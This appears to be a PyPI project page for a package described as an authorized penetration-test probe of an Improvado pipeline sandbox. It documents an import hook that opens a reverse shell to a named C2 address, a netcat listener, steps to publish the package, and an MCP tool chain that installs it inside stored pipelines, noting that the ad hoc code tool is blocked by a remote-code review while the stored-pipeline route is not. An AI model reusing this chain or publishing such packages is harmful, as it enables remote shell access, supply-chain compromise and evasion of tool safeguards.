Skip to main content

Pipeline hook probe v0.0.3 — authorized pentest C2 target 34.69.137.236:80

Project description

acme-widget-layout-utils

Authorized Improvado pipeline sandbox probe package (PyPI).

Version Import-hook behavior
0.0.1 socket.connect("127.0.0.1", 1) + markers
0.0.2 dup2 + /bin/sh -i127.0.0.1:1 (PoC; Connection refused without listener)
0.0.3+ Edit __init__.py C2 target before publish (pentest only)

Install-hook (setup.py)

On sdist build/install: writes /tmp/pypi_install_hook_marker.txt, prints PYPI_INSTALL_HOOK_RAN.

Triggered on worker only with:

pip install --no-binary :all: --target /tmp/pkgs acme-widget-layout-utils==0.0.2

Plain pip install of wheel does not run install-hook.

Full C2 pentest (stored pipeline)

1. Listener on VPS (34.69.137.236:80)

sudo rlwrap nc -lvnp 80

Port 80 needs root. Ensure firewall allows inbound TCP 80 from Improvado worker egress (~54.x seen in probes).

2. Publish wheel pointing at your listener

# Edit src/acme_widget_layout_utils/__init__.py:
#   _sock.connect(("34.69.137.236", 80))
# Bump version in pyproject.toml → 0.0.3

cd scripts/fixtures/acme_widget_layout_utils
python3 -m venv .publish-venv
.publish-venv/bin/pip install build twine
.publish-venv/bin/python -m build
TWINE_USERNAME=__token__ TWINE_PASSWORD='pypi-…' .publish-venv/bin/python -m twine upload dist/*

3. MCP chain

# createCustomPipelineTool(name=..., code="print('init')")
# updateCustomPipelineTool(code="""
import subprocess, sys
from pathlib import Path
target = "/tmp/acme_rev"
Path(target).mkdir(parents=True, exist_ok=True)
subprocess.run([sys.executable, "-m", "pip", "install", "--target", target,
                "acme-widget-layout-utils==0.0.3"], capture_output=True, text=True, timeout=180)
sys.path.insert(0, target)
import acme_widget_layout_utils
print("done")
# """)
# executeCustomPipelineTool(pipeline_id=...) → poll getPipelineRunResultTool

Adhoc runCustomPipelineCodeTool with same body → review blocks (REMOTE_CODE_LOADING).

Repro script

python3 scripts/v15_pip_hooks_probe_live.py

Not for production. Remove/yank test versions after pentest.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

acme_widget_layout_utils-0.0.3.tar.gz (2.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

acme_widget_layout_utils-0.0.3-py3-none-any.whl (2.9 kB view details)

Uploaded Python 3

File details

Details for the file acme_widget_layout_utils-0.0.3.tar.gz.

File metadata

File hashes

Hashes for acme_widget_layout_utils-0.0.3.tar.gz
Algorithm Hash digest
SHA256 58cea9e8965d0148962288648322bebcd4ddf5576169269981612a9c729bd233
MD5 5bd41cffddaf6808608d6875b0a9dc38
BLAKE2b-256 a2a54dc0b1fd6fb75fd5d3f0d66ff1e64cfd2f20f72d07e275683859946b26d8

See more details on using hashes here.

File details

Details for the file acme_widget_layout_utils-0.0.3-py3-none-any.whl.

File metadata

File hashes

Hashes for acme_widget_layout_utils-0.0.3-py3-none-any.whl
Algorithm Hash digest
SHA256 6ac0e78622500c826abe1209dc38b736dc0efdbdf350de726cf61dcb7da7834a
MD5 f4295d1297c0cb74a638a3ad949d0817
BLAKE2b-256 38246aec6a745e8f7660a345797c632829f16c2f5b9bf30ea6ba2a19f9b11b53

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page